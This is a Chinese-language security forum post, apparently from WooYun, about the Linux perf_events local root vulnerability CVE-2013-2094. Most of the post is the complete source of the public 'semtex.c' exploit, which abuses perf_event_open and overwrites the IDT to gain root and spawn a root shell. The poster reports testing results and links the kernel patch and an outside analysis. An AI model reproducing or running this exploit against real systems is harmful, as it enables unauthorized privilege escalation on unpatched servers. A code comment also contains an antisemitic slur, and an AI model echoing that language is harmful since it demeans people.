LInux 安全测试

[CVE-2013-2094]Linux PREF_EVENTS Local Root 2.6.37-3.8.10 x86_64

踩(0)http://zone.wooyun.org/content/3733

顶(33)

GaRY  | 2013-05-14 15:54

http://sd.fucksheep.org/warez/semtex.c

又一个linux安全的偶像sd牛刚刚发出的作品。。感觉上基本是个通杀的东西，但是目前为止，我的测试是rh6.3和centos6.3，2.6.32 kernel成功root，6.4上目前只是挂了系统，只能证明漏洞是存在的。 
待有缘人后来者修正之。

也要预警各位，赶紧修复各自的服务器。虽然貌似也就linux 3.8.10修了这个漏洞。。。

/* 
* linux 2.6.37-3.x.x x86_64, ~100 LOC 
* gcc-4.6 -O2 semtex.c && ./a.out 
* 2010 sd@fucksheep.org, salut! 
* 
* update may 2013: 
* seems like centos 2.6.32 backported the perf bug, lol. 
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. 
*/

#define _GNU_SOURCE 1 
#include <stdint.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/mman.h> 
#include <syscall.h> 
#include <stdint.h> 
#include <assert.h>

#define BASE  0x380000000 
#define SIZE  0x010000000 
#define KSIZE  0x2000000 
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() { 
  int i,j,k; 
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; 
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); 
  uint64_t kbase = ((uint64_t)current)>>36; 
  uint32_t *fixptr = (void*) AB(1); 
  *fixptr = -1;

for (i=0; i<4000; i+=4) { 
    uint64_t *p = (void *)&current[i]; 
    uint32_t *t = (void*) p[0]; 
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; 
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++) 
      if (((uint32_t*)uids)[k] != t[j+k]) goto next; 
      for (i = 0; i < 8; i++) t[j+i] = 0; 
      for (i = 0; i < 10; i++) t[j+9+i] = -1; 
      return; 
next:;    } 
  } 
}

void sheep(uint32_t off) { 
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; 
  int fd = syscall(298, buf, 0, -1, -1, 0); 
  assert(!close(fd)); 
}

int  main() { 
  uint64_t  u,g,needle, kbase, *p; uint8_t *code; 
  uint32_t *map, j = 5; 
  int i; 
  struct { 
    uint16_t limit; 
    uint64_t addr; 
  } __attribute__((packed)) idt; 
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); 
  memset(map, 0, SIZE); 
  sheep(-1); sheep(-2); 
  for (i = 0; i < SIZE/4; i++) if (map[i]) { 
    assert(map[i+1]); 
    break; 
  } 
  assert(i<SIZE/4); 
  asm ("sidt %0" : "=m" (idt)); 
  kbase = idt.addr & 0xff000000; 
  u = getuid(); g = getgid(); 
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); 
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); 
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 
    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27); 
  setresuid(u,u,u); setresgid(g,g,g); 
  while (j--) { 
    needle = AB(j+1); 
    assert(p = memmem(code, 1024, &needle, 8)); 
    if (!p) continue; 
    *p = j?((g<<32)|u):(idt.addr + 0x48); 
  } 
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); 
  asm("int $0x4");  assert(!setuid(0)); 
  return execl("/bin/bash", "-sh", NULL); 
}

----------------------------- 
5.15 update:

最新消息，CVE号已经出来了。thx@请叫我大神 CVE-2013-2094 
然后影响范围也有所缩减，实际上是3.8.9就已经修复了此漏洞。 
其次这的确是个0day漏洞，目前各大厂商都还没有给出正式的二进制hotfix patch。 
但是linux 内核上是有patch的，各位心急的可以参考下： 
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f

如果你们对原理感兴趣，不妨去看看spender对漏洞的解析： 
http://www.reddit.com/r/netsec/comments/1eb9iw/sdfucksheeporgs_semtexc_local_linux_root_exploit/c9ykrck